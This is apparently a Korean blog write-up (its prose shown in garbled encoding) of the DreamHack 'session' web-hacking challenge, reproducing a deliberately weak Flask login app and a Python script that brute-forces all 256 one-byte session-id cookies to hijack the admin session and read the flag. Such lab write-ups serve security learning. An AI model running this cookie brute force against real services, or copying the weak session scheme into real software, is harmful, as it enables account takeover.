๐Ÿ”’ Cyber Security/Web Hacking (์›นํ•ดํ‚น)

[DreamHack] ๋“œ๋ฆผํ•ต ์›นํ•ดํ‚น : session

์„ ๋‹ฌ 2023. 9. 11. 18:59
๋ฐ˜์‘ํ˜•

https://dreamhack.io/wargame/challenges/266

 

session

์ฟ ํ‚ค์™€ ์„ธ์…˜์œผ๋กœ ์ธ์ฆ ์ƒํƒœ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๊ฐ„๋‹จํ•œ ๋กœ๊ทธ์ธ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. admin ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Reference Background: Cookie & Session

dreamhack.io

 

๋ฒ„ํ”„์Šค์œ„ํŠธ ์—†์ด ํ• ๊ฑฐ๋‹ค

python๋งŒ ์žˆ์œผ๋ฉด ๋.

ํ•„์ž๋Š” ํŒŒ์ด์ฌ์„ ์„ค์น˜ํ•˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— Google Colab์„ ์ด์šฉํ•œ๋‹ค

VS Code, Replit ๋“ฑ ํŒŒ์ด์ฌ ๋Œ์•„๊ฐ€๋Š” ํ”„๋กœ๊ทธ๋žจ ์•„๋ฌด๊ฑฐ๋‚˜ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค

 

๋ฌธ์ œ

์ฟ ํ‚ค์™€ ์„ธ์…˜์œผ๋กœ ์ธ์ฆ ์ƒํƒœ๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ๊ฐ„๋‹จํ•œ ๋กœ๊ทธ์ธ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค.
admin ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}

session_storage = {
}

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

 

์ทจ์•ฝ์  ๋ถ„์„

๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์—์„œ username๊ณผ password๋ฅผ ์ด์šฉํ•˜์—ฌ ๋กœ๊ทธ์ธํ•˜๋Š” ์„œ๋น„์Šค๋‹ค

 

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

 

๋ฌธ์ œ ํŒŒ์ผ์—์„œ os.urandom(4).hex() ๋ผ๋Š” ๋ถ€๋ถ„์ด ์ˆ˜์ƒ์ฉ์–ด์„œ ๊ฒ€์ƒ‰ํ•ด๋ณด๋‹ˆ

4๋ฐ”์ดํŠธ์˜ ๋ฌด์ž‘์œ„ ๊ฐ’์„ hex๋กœ ๋ณ€ํ™˜ํ•œ๋‹ค๋Š” ๋œป์ด๋ผ๊ณ  ํ•œ๋‹ค

 

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

๋ณธ ๋ฌธ์ œ์—์„œ ๋กœ๊ทธ์ธ ๋กœ์ง์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค

 

1. ๋กœ๊ทธ์ธ ํ™”๋ฉด์—์„œ ๋กœ๊ทธ์ธ์„ ํ•œ๋‹ค

์˜ˆ์‹œ๋กœ ์ฃผ์–ด์ง„ ํŒŒ์ผ์— ๋‚˜์™€์žˆ๋Š” username: user, password: user1234๋ฅผ ์ด์šฉํ•ด์„œ ์„ค๋ช…ํ•˜๊ฒ ๋‹ค

 

2. ๋น„๋ฒˆ์ด ๋งž์œผ๋ฉด ๋ฐฉ๊ธˆ ๋กœ๊ทธ์ธํ•œ ์œ ์ €์˜ ์•„์ด๋””๋ฅผ ์•”ํ˜ธํ™”(๋žœ๋คํ™”)ํ•ด์„œ session_storage์— ์ €์žฅํ•œ๋‹ค 

session_storage = {
	"84058120": "user"
}

 

 

3. ๊ทธ๋ฆฌ๊ณ  ์ฟ ํ‚ค์— ์•„๋ž˜ ํ˜•ํƒœ๋กœ ์ €์žฅํ•˜๊ณ  ๋ฉ”์ธ ํ™”๋ฉด์œผ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰์…˜

cookie = {"sessionid" : "84058120"}

 

4. ๋ฉ”์ธํ™”๋ฉด์—์„œ๋Š” ์ฟ ํ‚ค์— ์žˆ๋Š” sessionid ๊ฐ’์„ session_storage์—์„œ ๋Œ€์กฐํ•˜์—ฌ ์œ ์ €์— ๋”ฐ๋ผ ๋‹ค๋ฅธ ํ™”๋ฉด์„ ๋ณด์—ฌ์ค€๋‹ค

์—ฌ๊ธฐ์„œ๋Š” ์ฟ ํ‚ค์— ์žˆ๋Š” sessionid ๊ฐ’์ด 84058120์ด๋‹ค

session_storage["84058120"] = "user" ์ด๋‹ค

"user" ๋ผ๋Š” ์•„์ด๋””์— ๋Œ€ํ•œ ๊ฒฐ๊ณผ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค

 

 

๋”ฐ๋ผ์„œ ๋ฉ”์ธํ™”๋ฉด์—์„œ get ์š”์ฒญ์„ ํ•  ๋•Œ ์ฟ ํ‚ค๊ฐ’์— admin์— ํ•ด๋‹นํ•˜๋Š” session_id๋งŒ ๋„ฃ์–ด์ฃผ๋ฉด

admin์ด ๋กœ๊ทธ์ธ ํ–ˆ์„ ๋•Œ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค๋Š” ๋œป

๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์•„๋‚ด์ง€ ์•Š๊ณ  sessionid ๋งŒ ์•Œ์•„๋‚ด๋ฉด ๋กœ๊ทธ์ธ์ด ๋˜๋Š” ์ทจ์•ฝํ•œ ์‹œ์Šคํ…œ์ด๋‹ค

 

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

์ฝ”๋“œ ๋‚ด๋ถ€๋ฅผ ๋ณด๋‹ˆ admin์˜ sessionid ๊ฐ’์€ ๋ฏธ๋ฆฌ ๋งŒ๋“ค์–ด์ ธ์„œ

session_storage์— ์ด๋ฏธ ์ €์žฅ๋˜์–ด์žˆ๋‹ค๊ณ  ํ•œ๋‹ค

 

๊ทธ๋ฆฌ๊ณ  ์ด sessionid๋Š” urandom์œผ๋กœ ์ •ํ•ด์ง„๋‹ค

๋žœ๋ค 1๋ฐ”์ดํŠธ์˜ 16์ง„์ˆ˜ ๊ฐ’์ด๋‹ค

 

ํ’€์ด

1๋ฐ”์ดํŠธ๋ผ๋ฉด 8๋น„ํŠธ๋กœ 0~255์˜ ์ˆซ์ž๊ณ 

์ด๋ฅผ 16์ง„์ˆ˜๋กœ ๋ณ€ํ™˜ํ•˜๋ฉด 00, 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, ..., FE, FF ๊ฐ€ ๋œ๋‹ค.

๋ฒ”์œ„๊ฐ€ ์ž‘๊ธฐ ๋•Œ๋ฌธ์— ๋ถ€๋ฅดํŠธํฌ์Šค๋กœ ๊ทธ๋ƒฅ ๋‹ค ๋„ฃ์–ด์„œ ํ™•์ธํ•ด๋„ ๋  ๊ฒƒ ๊ฐ™๋‹ค

 

import requests, os

url="http://host3.dreamhack.games:21743/"

for i in range(256):
  hex_value = format(i, "02x")
  response = requests.get(url, cookies={'sessionid': hex_value})
  print(f"{hex_value} : {len(response.text)}")

 

gpt์˜ ๋„์›€์„ ๋ฐ›์•„ format() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด์„œ 0๋ถ€ํ„ฐ 255๊นŒ์ง€์˜ ์ˆ˜๋ฅผ 2์ž๋ฆฌ 16์ง„์ˆ˜๋กœ ๋ฐ”๊ฟ”์„œ 

  • '0': ๋ณ€ํ™˜๋œ ๋ฌธ์ž์—ด์ด ์ž๋ฆฟ์ˆ˜๊ฐ€ ๋ถ€์กฑํ•  ๋•Œ ์•ž์„ 0์œผ๋กœ ์ฑ„์šฐ๋„๋ก ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
  • '2': ์ตœ์†Œ ์ž๋ฆฟ์ˆ˜๋ฅผ 2์ž๋ฆฌ๋กœ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
  • 'x': 16์ง„์ˆ˜๋กœ ํ‘œํ˜„ํ•ฉ๋‹ˆ๋‹ค.

get ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ ์ฟ ํ‚ค ์•ˆ์— sessionid ๋กœ ๋„ฃ์–ด์คฌ๋‹ค

์‘๋‹ต์„ ์ „๋ถ€ ์ถœ๋ ฅํ•˜๋ฉด ๋งค์šฐ ๊ธธ์–ด์งˆ ์˜ˆ์ •์ด๊ธฐ์— ๊ธธ์ด๋งŒ ์ถœ๋ ฅํ•˜๋„๋ก ํ–ˆ๋‹ค

 

์–ผ๋งˆ ๊ฐ€์ง€ ์•Š์•„ ํ˜ผ์ž์„œ ์‘๋‹ต๊ธธ์ด๊ฐ€ 1350์ธ ์ˆ˜์ƒ์ฉ์€ 0a๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๋‹ค

 

import requests, os

url="http://host3.dreamhack.games:21743/"

response = requests.get(url, cookies={'sessionid': "0a"})
print(response.text)

์ฐพ์€ "0a"๋ฅผ ์ฟ ํ‚ค์— ๋„ฃ์–ด์„œ ์ด๋ฒˆ์—๋Š” ์ „์ฒด ์‘๋‹ต์„ ๋ฝ‘์•„๋ƒˆ๋‹ค

 

admin์œผ๋กœ ์ธ์‹ํ•ด์„œ ์‘๋‹ต์— ํฌํ•จ์‹œ์ผœ์ค€ ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•์ธ ๊ฐ€๋Šฅํ•˜๋‹ค

๋ฐ˜์‘ํ˜•